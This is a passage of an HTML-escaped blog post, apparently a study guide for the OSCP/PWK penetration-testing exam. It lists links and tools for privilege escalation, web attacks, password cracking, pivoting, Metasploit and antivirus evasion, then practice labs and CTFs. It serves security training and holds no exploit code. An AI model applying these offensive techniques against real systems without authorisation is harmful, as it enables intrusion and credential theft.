  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Python -m SimpleHTTPServer 80&lt;/code&gt;: Spins up a webserver in the directory you are located on port 80.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Python3 -m http.server 80&lt;/code&gt;: Spins up a python version 3.X web server in the directory you are located on port 80.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Python -m pyftpdlib -p 21 -w&lt;/code&gt;: spins up a FTP server in the directory you are located on port 21 and it allows anonymous login access.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Python3 -m pyftpdlib -p 21 -w&lt;/code&gt;: spins up a Python 3.X FTP server in the directory you are located on port 21 and it allows anonymous login access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-9-privilege-escalation&quot;&gt;Section 9: Privilege Escalation&lt;/h1&gt;
&lt;p&gt;In this section you will find a lot of techniques that range from getting administrative access from a kernel exploit or through a misconfigured service. The possibilities are endless, and make sure you find the ones that will work for you. In order to get an understanding of this section I recommend applying your knowledge through Vulnhub or Hackthebox to improve your skills in this area. I know there are scripts for automating this process but at some points those scripts can miss something very important on your target that you need to escalate your privileges. Something you should keep in mind :D.&lt;br /&gt;
For this section I am going to break into two parts: Windows and Linux Privilege Escalation Techniques.&lt;/p&gt;

&lt;h5 id=&quot;windows-privilege-escalation-guides&quot;&gt;Windows Privilege Escalation Guides:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Fuzzysecurity Windows Privilege Escalation Fundamentals: Shout out to fuzzysec for taking the time to write this because this is an amazing guide that will help you understand Privilege escalation techniques in Windows. 
&lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/16.html&quot;&gt;http://www.fuzzysecurity.com/tutorials/16.html&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pwnwiki Windows Privilege Escalation Commands: 
&lt;a href=&quot;http://pwnwiki.io/#!privesc/windows/index.md&quot;&gt;http://pwnwiki.io/#!privesc/windows/index.md&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Absolomb’s Security Blog: Windows Privilege Escalation Guide
&lt;a href=&quot;https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/&quot;&gt;https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pentest.blog: Windows Privilege Escalation Methods for Pentesters
&lt;a href=&quot;https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/&quot;&gt;https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Windows Privilege Escalation Tools:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;JAWS (Created by 411Hall): A cool windows enumeration script written in PowerShell. 
&lt;a href=&quot;https://github.com/411Hall/JAWS/commits?author=411Hall&quot;&gt;https://github.com/411Hall/JAWS/commits?author=411Hall&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Windows Exploit Suggester (Created by GDSSecurity): A python script that compares target patch against Microsoft vulnerability database to detect any missing patches on the target.
&lt;a href=&quot;https://github.com/GDSSecurity/Windows-Exploit-Suggester&quot;&gt;https://github.com/GDSSecurity/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Windows Exploit Suggester Next Generation: &lt;a href=&quot;https://github.com/bitsadmin/wesng&quot;&gt;https://github.com/bitsadmin/wesng&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sherlock (Created by RastaMouse): Another cool PowerShell script that finds missing software patches for local privilege escalation techniques in Windows. 
&lt;a href=&quot;https://github.com/rasta-mouse/Sherlock&quot;&gt;https://github.com/rasta-mouse/Sherlock&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Other Resources for Windows Privilege Escalation Techniques: 
&lt;a href=&quot;https://medium.com/@rahmatnurfauzi/windows-privilege-escalation-scripts-techniques-30fa37bd194&quot;&gt;https://medium.com/@rahmatnurfauzi/windows-privilege-escalation-scripts-techniques-30fa37bd194&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Linux Privilege Escalation Guides: 
The only guide I probably ever used to help me understand privilege escalation techniques in Linux systems was from g0tmi1k post. This blog is a must that everyone should have for preparing for the OSCP in my opinion. You can find his guide here: 
&lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;GTFOBins (I have to thank Ippsec for sharing this with me): Contains a curated list of Unix binaries that that have the ability to be exploited by an attacker to bypass local security restrictions on a Linux system.
&lt;a href=&quot;https://gtfobins.github.io/&quot;&gt;https://gtfobins.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;linux-privilege-escalation-tools&quot;&gt;Linux Privilege Escalation Tools:&lt;/h5&gt;
&lt;p&gt;LinEnum: A great Linux privilege escalation checker that is still maintained by the guys at rebootuser.com. You can find there tool here: 
&lt;a href=&quot;https://github.com/rebootuser/LinEnum&quot;&gt;https://github.com/rebootuser/LinEnum&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Linux Exploit Suggester 2: &lt;a href=&quot;https://github.com/jondonas/linux-exploit-suggester-2&quot;&gt;https://github.com/jondonas/linux-exploit-suggester-2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One thing that I will mention is if you want to practice your Linux privilege escalation, I highly recommend you take a look at Lin.Security vulnerable box created by in.security! The box was designed to help people understand how certain applications and service that are misconfigured can be easily abused by an attacker. This box really helped me improved my privilege escalation skills and techniques on Linux systems.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Main Link: &lt;a href=&quot;https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/&quot;&gt;https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Backup: &lt;a href=&quot;https://www.vulnhub.com/entry/linsecurity-1,244/&quot;&gt;https://www.vulnhub.com/entry/linsecurity-1,244/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-10-client-side-attacks&quot;&gt;Section 10: Client-Side Attacks&lt;/h1&gt;
&lt;p&gt;Running Client-Side Attacks usually require client interaction so it’s good to have an understanding of how this works and also how you can set one up. For instance, check out the Client Side Attack Section in Metasploit Unleashed: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;section-11-web-application-attacks&quot;&gt;Section 11: Web Application Attacks&lt;/h1&gt;
&lt;p&gt;This section is the one I spent most of time preparing for PWK and OSCP. In this section you need to understand the following web attacks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;cross-site scripting (XSS): 
OWASP:&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SQL Injections: 
OWASP: &lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot;&gt;https://www.owasp.org/index.php/SQL_Injection&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pentest Monkey SQL Cheat Sheets: &lt;a href=&quot;http://pentestmonkey.net/category/cheat-sheet/sql-injection&quot;&gt;http://pentestmonkey.net/category/cheat-sheet/sql-injection&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;File Inclusion Vulnerabilities.
&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;tools-for-finding-web-vulnerabilities-and-conducting-web-attacks&quot;&gt;Tools for finding Web Vulnerabilities and conducting Web Attacks:&lt;/h5&gt;
&lt;p&gt;Burp Suite:&lt;/p&gt;

&lt;p&gt;A popular web application vulnerability scanner that contains a variety of features and plugins to identify web vulnerabilities on certain web applications. The tool uses an interception proxy that connects to your browser to route traffic through the Burp Suite proxy client. Once the interception proxy is configured you can start capturing and analyzing each request to and from the target web application. With these’s captured requests a penetration tester can analyze, manipulate, and fuzz individual HTTP requests in order to identify potential parameters or injection points manually.&lt;/p&gt;

&lt;p&gt;Bugcrowd University has a webinar that Jason Haddix created explaining about burp suite and how you can use it. You can find this recording here: 
&lt;a href=&quot;https://www.bugcrowd.com/resource/introduction-to-burp-suite/&quot;&gt;https://www.bugcrowd.com/resource/introduction-to-burp-suite/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL Injection Tools: 
I would not recommend using these tools until you have a clear understaning about SQL Databases and how a SQL Injection works. These tools below make it easy to automate the process for conducting a SQL Injection but it is possible that they can causes issues to a targets SQL Database. Here are a list of tools that I have played with to get a better understanding of how you can automate SQL Injections:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SQLmap: &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap/wiki/Usage&quot;&gt;https://github.com/sqlmapproject/sqlmap/wiki/Usag&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;NoSQLMap: &lt;a href=&quot;https://github.com/codingo/NoSQLMap&quot;&gt;https://github.com/codingo/NoSQLMap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SQLNinja: &lt;a href=&quot;http://sqlninja.sourceforge.net/&quot;&gt;http://sqlninja.sourceforge.net/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nikto (Created by Chris Sullo): 
A web server scanner which performs comprehensive tests against web servers for multiple items. This tool can be able to scan for vulnerbalilities on the web application, checks for server configuration that include multiple index files, HTTP server options, and will attempt to identify installed the version of the web server, and any plugins/software that is running on it. Please keep this in mind that this tool is can be very noisy when scanning a targets web server.&lt;/p&gt;

&lt;p&gt;Link: &lt;a href=&quot;https://cirt.net/Nikto2&quot;&gt;https://cirt.net/Nikto2&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Web Directory Scanners:&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools are designed to brute force site structure including directories and files in websites. These tools can be able to identify hidden directory scrtuctures or webpages that can come in handy when you are in the labs or during your assessment.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Dirsearch: &lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot;&gt;https://github.com/maurosoria/dirsearch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Dirbuster: &lt;a href=&quot;https://tools.kali.org/web-applications/dirbuster&quot;&gt;https://tools.kali.org/web-applications/dirbuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Gobuster: &lt;a href=&quot;https://github.com/OJ/gobuster&quot;&gt;https://github.com/OJ/gobuster&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Wfuzz: &lt;a href=&quot;https://github.com/xmendez/wfuzz&quot;&gt;https://github.com/xmendez/wfuzz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;hands-on-areas-to-improve-your-web-attack-skills&quot;&gt;Hands on areas to improve your web attack skills:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Metasploitable 2: Contains Vulnerable Web Services such as &lt;a href=&quot;https://github.com/webpwnized/mutillidae&quot;&gt;Multidae&lt;/a&gt; and the &lt;a href=&quot;http://www.dvwa.co.uk/&quot;&gt;Damn Vulnerable Web App (DVWA)&lt;/a&gt; that you can use to improve your web skills.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Link to download the machine: &lt;a href=&quot;https://metasploit.help.rapid7.com/docs/metasploitable-2&quot;&gt;https://metasploit.help.rapid7.com/docs/metasploitable-2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Backup Link: &lt;a href=&quot;https://www.vulnhub.com/entry/metasploitable-2,29/&quot;&gt;https://www.vulnhub.com/entry/metasploitable-2,29/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Exploitability Guide: &lt;a href=&quot;https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide&quot;&gt;https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;OWASP Juice Shop: Another vulnerable web application that contains a variety of challenges to improve your web skills. 
&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Juice_Shop_Project&quot;&gt;https://www.owasp.org/index.php/OWASP_Juice_Shop_Project&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Overthewire Natas: A set of wargame challenges that are web base that you will need to complete in order to move to the next round. I really enjoyed their challenges when I did them! 
&lt;a href=&quot;http://overthewire.org/wargames/natas/&quot;&gt;http://overthewire.org/wargames/natas/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Other resources: 
Hack This Site: &lt;a href=&quot;https://www.hackthissite.org/&quot;&gt;https://www.hackthissite.org/&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-12-password-cracking&quot;&gt;Section 12: Password Cracking&lt;/h1&gt;
&lt;p&gt;In this section you need to understand the basics of password attacks. Identify the differences between Windows (NTLM) hashes and Linux hashes. In addition, you will also need to understand the different tools that you can use to conduct online and offline password attacks. Here is a list of resources that I have used that helped me better understand how password cracking works:&lt;/p&gt;

&lt;p&gt;Introduction to Password Cracking: &lt;a href=&quot;https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf&quot;&gt;https://alexandreborgesbrazil.files.wordpress.com/2013/08/introduction_to_password_cracking_part_1.pdf&lt;/a&gt;&lt;/p&gt;

&lt;h5 id=&quot;offline-tools-for-password-cracking&quot;&gt;Offline Tools for Password Cracking:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Hashcat: https://hashcat.net/hashcat/ 
Sample Hashes to test with Hashcat: &lt;a href=&quot;https://hashcat.net/wiki/doku.php?id=example_hashes&quot;&gt;https://hashcat.net/wiki/doku.php?id=example_hashes&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;John the Ripper: https://www.openwall.com/john/&lt;/li&gt;
  &lt;li&gt;Metasploit Unleashed using John the Ripper with Hashdump: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/john-ripper/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/john-ripper/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Online Tools for Password Cracking:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;THC Hydra: &lt;a href=&quot;https://github.com/vanhauser-thc/thc-hydra&quot;&gt;https://github.com/vanhauser-thc/thc-hydra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Medusa: &lt;a href=&quot;http://h.foofus.net/?page_id=51&quot;&gt;http://h.foofus.net/?page_id=51&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wordlist generators:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Cewl: &lt;a href=&quot;https://digi.ninja/projects/cewl.php&quot;&gt;https://digi.ninja/projects/cewl.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Crunch: &lt;a href=&quot;https://tools.kali.org/password-attacks/crunch&quot;&gt;https://tools.kali.org/password-attacks/crunch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wordlists:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;In Kali: /usr/share/wordlists&lt;/li&gt;
  &lt;li&gt;Seclists: apt-get install seclists 
 You can find all of his password lists here: &lt;a href=&quot;https://github.com/danielmiessler/SecLists/tree/master/Passwords&quot;&gt;https://github.com/danielmiessler/SecLists/tree/master/Passwords&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;online-password-crackers&quot;&gt;Online Password Crackers:&lt;/h5&gt;
&lt;p&gt;I usually went for these first to see if they had the hash cracked in their database. However, don’t use these online crackers as your main tools for everything. Uploading a hash from an engagement can be a huge risk so make sure you use your offline tools to crack those types of hashes. Here is a list of online hash crackers that I found online that you can use to crack hashes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hashkiller.io/listmanager&quot;&gt;https://hashkiller.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cmd5.org/&quot;&gt;https://www.cmd5.org/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.onlinehashcrack.com/&quot;&gt;https://www.onlinehashcrack.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gpuhash.me/&quot;&gt;https://gpuhash.me/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crackstation.net/&quot;&gt;https://crackstation.net/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crack.sh/&quot;&gt;https://crack.sh/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://passwordrecovery.io/&quot;&gt;https://passwordrecovery.io/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://cracker.offensive-security.com/&quot;&gt;http://cracker.offensive-security.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other Resources for Password Cracking:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Pwning Wordpress Passwords: &lt;a href=&quot;https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956&quot;&gt;https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-13-port-redirection-and-pivoting&quot;&gt;Section 13: Port Redirection and Pivoting&lt;/h1&gt;
&lt;p&gt;Depending on your scope, some of the machines may not be directly accessible. There are systems out there that are dual homed, which allow you to connect into an internal network. You will need to know some of these techniques in order to obtain access into there non-public networks:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Abatchy’s Port Forwarding Guide: &lt;a href=&quot;https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide&quot;&gt;https://www.abatchy.com/2017/01/port-forwarding-practical-hands-on-guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Windows Port Forwarding: &lt;a href=&quot;http://woshub.com/port-forwarding-in-windows/&quot;&gt;http://woshub.com/port-forwarding-in-windows/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSH Tunneling Explained: &lt;a href=&quot;https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/&quot;&gt;https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Understanding Proxy Tunnels: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/proxytunnels/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/proxytunnels/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Understanding Port forwarding with Metasploit: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/portfwd/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/portfwd/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Explore Hidden Networks with Double Pivoting: &lt;a href=&quot;https://pentest.blog/explore-hidden-networks-with-double-pivoting/&quot;&gt;https://pentest.blog/explore-hidden-networks-with-double-pivoting/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;0xdf hacks stuff. Pivoting and Tunneling: &lt;a href=&quot;https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html&quot;&gt;https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tools to help you with Port Forwarding and Pivoting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Proxychains: &lt;a href=&quot;https://github.com/haad/proxychains&quot;&gt;https://github.com/haad/proxychains&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Proxychains-ng: &lt;a href=&quot;https://github.com/rofl0r/proxychains-ng&quot;&gt;https://github.com/rofl0r/proxychains-ng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSHuttle (Totally Recommend learning this): &lt;a href=&quot;https://github.com/sshuttle/sshuttle&quot;&gt;https://github.com/sshuttle/sshuttle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;SSHuttle Documentation: &lt;a href=&quot;https://sshuttle.readthedocs.io/en/stable/&quot;&gt;https://sshuttle.readthedocs.io/en/stable/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerable systems to practice pivoting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Wintermute: &lt;a href=&quot;https://www.vulnhub.com/entry/wintermute-1,239/&quot;&gt;https://www.vulnhub.com/entry/wintermute-1,239/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-14-metasploit-framework&quot;&gt;Section 14: Metasploit Framework&lt;/h1&gt;
&lt;p&gt;The only guide that I used to learn more about Metasploit is Offensive Security Metasploit Unleashed course…which is free!
&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/&quot;&gt;https://www.offensive-security.com/metasploit-unleashed/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Other Resources: 
Metasploit The Penetration Tester’s Guide (A super awesome book to read): &lt;a href=&quot;https://nostarch.com/metasploit&quot;&gt;https://nostarch.com/metasploit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Msfvenom Cheat Sheets:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://netsec.ws/?p=331&quot;&gt;https://netsec.ws/?p=331&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom&quot;&gt;https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;section-15-antivirus-bypassing&quot;&gt;Section 15: Antivirus Bypassing&lt;/h1&gt;
&lt;p&gt;I did not spend too much time learning about this section since Metasploit encodes it payloads to bypass most anti-virus (well older versions at least). The course is pretty straight forward in this section.&lt;/p&gt;

&lt;p&gt;Tools to play with Anti-Virus evasion:
Veil-Framework: &lt;a href=&quot;https://github.com/Veil-Framework/Veil&quot;&gt;https://github.com/Veil-Framework/Veil&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;extra-resources&quot;&gt;Extra Resources&lt;/h1&gt;

&lt;p&gt;This concludes the resources I have used that helped me understand the course syllabus. Now I will share with you some tips and extra resources that I used during my preparation for the PWK/OSCP.&lt;/p&gt;

&lt;h1 id=&quot;setting-up-your-pentesting-environment&quot;&gt;Setting up your Pentesting Environment:&lt;/h1&gt;
&lt;p&gt;The course recommends that you are using &lt;a href=&quot;https://www.vmware.com/&quot;&gt;VMware products&lt;/a&gt; to run the custom Kali Linux image that they have created. Windows users can purchase &lt;a href=&quot;https://www.vmware.com/products/workstation-pro.html&quot;&gt;VMware Workstation&lt;/a&gt; or use their free program &lt;a href=&quot;https://www.vmware.com/products/workstation-player.html&quot;&gt;VMware Player&lt;/a&gt;. As for MAC Users you will need to use &lt;a href=&quot;https://www.vmware.com/products/fusion.html&quot;&gt;VMware Fusion&lt;/a&gt;. 
If you would like to download the custom Kali Linux System for the PWK you can find it here:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://images.offensive-security.com/pwk-kali-vm.7z&quot;&gt;https://images.offensive-security.com/pwk-kali-vm.7z&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Keep in mind that Offensive Security does update their images from time to time. Personally, I only used their image for completing the lab exercises and I had a separate Kali Linux image that I customized to use for the labs and exam.&lt;/p&gt;

&lt;p&gt;Another virtual machine I created was a Windows 7 32-bit system to spin up any vulnerable applications I needed to debug or to check if I could obtain a shell from them. You could also create a Windows 7 64-bit system as well but some of 32-bit applications may not work properly as they would on an actual 32-bit system. This practice is great to implement in case you are stuck on a windows system that is running a service that for some reason you cannot obtain a shell on.&lt;/p&gt;

&lt;h1 id=&quot;wargameshands-on-challenges&quot;&gt;Wargames/Hands-on Challenges:&lt;/h1&gt;
&lt;p&gt;I know I stated theses before but I am going to reiterate this:&lt;/p&gt;

&lt;p&gt;OverTheWire Bandit:
A good set of fun Linux challenges to get yourself familiarizes with bash and Linux. Abatchys walkthrough really helped me here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Bandit 1-5: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-0-5&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-0-5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 6-10: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-6-10&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-6-10&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 11-15: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-11-15&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-11-15&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 16-20: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-16-20&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-16-20&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Bandit 21-26: &lt;a href=&quot;https://www.abatchy.com/2016/10/overthewire-bandit-21-24&quot;&gt;https://www.abatchy.com/2016/10/overthewire-bandit-21-24&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OverTheWire Natas: 
A good set of simple web application challenges. These challenges will help you understand the basics you need to identify issues in web applications. 
Check out this walkthrough here: &lt;a href=&quot;https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/&quot;&gt;https://infamoussyn.wordpress.com/2014/02/05/overthewire-natas-level-0-16-writeup-updated/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;UndertheWire: 
Probably my favorite place for challenges because they contain a huge set of PowerShell challenges. 
You can find their challenges here: &lt;a href=&quot;http://www.underthewire.tech/wargames.htm&quot;&gt;http://www.underthewire.tech/wargames.htm&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Root-me.org: A huge place that has challenges for almost everything in cybersecurity. For instance, you will see challenges in the following areas:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Network Forensics (Packet Analysis, Captured Traffic, Network Services)&lt;/li&gt;
  &lt;li&gt;Programming (C, PHP, Java, Shell-coding)&lt;/li&gt;
  &lt;li&gt;Reverse Engineering (disassemble applications)&lt;/li&gt;
  &lt;li&gt;Web Applications and Client Challenges.&lt;/li&gt;
  &lt;li&gt;Forensic Challenges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Spend a few minutes going through some of these!&lt;/p&gt;

&lt;p&gt;SANS Holiday Hack Challenges: 
&lt;a href=&quot;https://www.holidayhackchallenge.com/past-challenges/&quot;&gt;https://www.holidayhackchallenge.com/past-challenges/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;capture-the-flag-competitions-ctfscyber-competitions&quot;&gt;Capture the Flag Competitions (CTFs)/Cyber Competitions:&lt;/h1&gt;
&lt;p&gt;I know some of you are reading this are probably skeptical on why I added this…well to be honest the cybersecurity careers that we are in are not a normal 7am-3pm job…it is a lifestyle. I understand for many of us that it is hard to set some time to do all of the things in this field and that is totally OK! If you have the time or if you already can, set some time out of your busy schedule to do a CTF. Go ahead and hack all of the things that many of these CTFs provide as challenges. Trust me you will learn some cool things in a CTF that not even a class may be able to teach you. Personally, competing in CTFs did help me in this course and also it gave me a better understanding of what things I should be looking for instead of jumping into rabbit holes!&lt;/p&gt;

&lt;p&gt;Also do not be scared to compete in a CTF if it is your first time! Everyone has to start somewhere in their journey you just have to keep pushing forward. So, go out there and find some CTFs whether they are local to you or online make some time and have confidence in doing them.&lt;/p&gt;

&lt;p&gt;If you cannot find any local CTFs check out &lt;a href=&quot;https://www.CTFTime.org&quot;&gt;CTFTime&lt;/a&gt; for online competitions that you can participate in. 
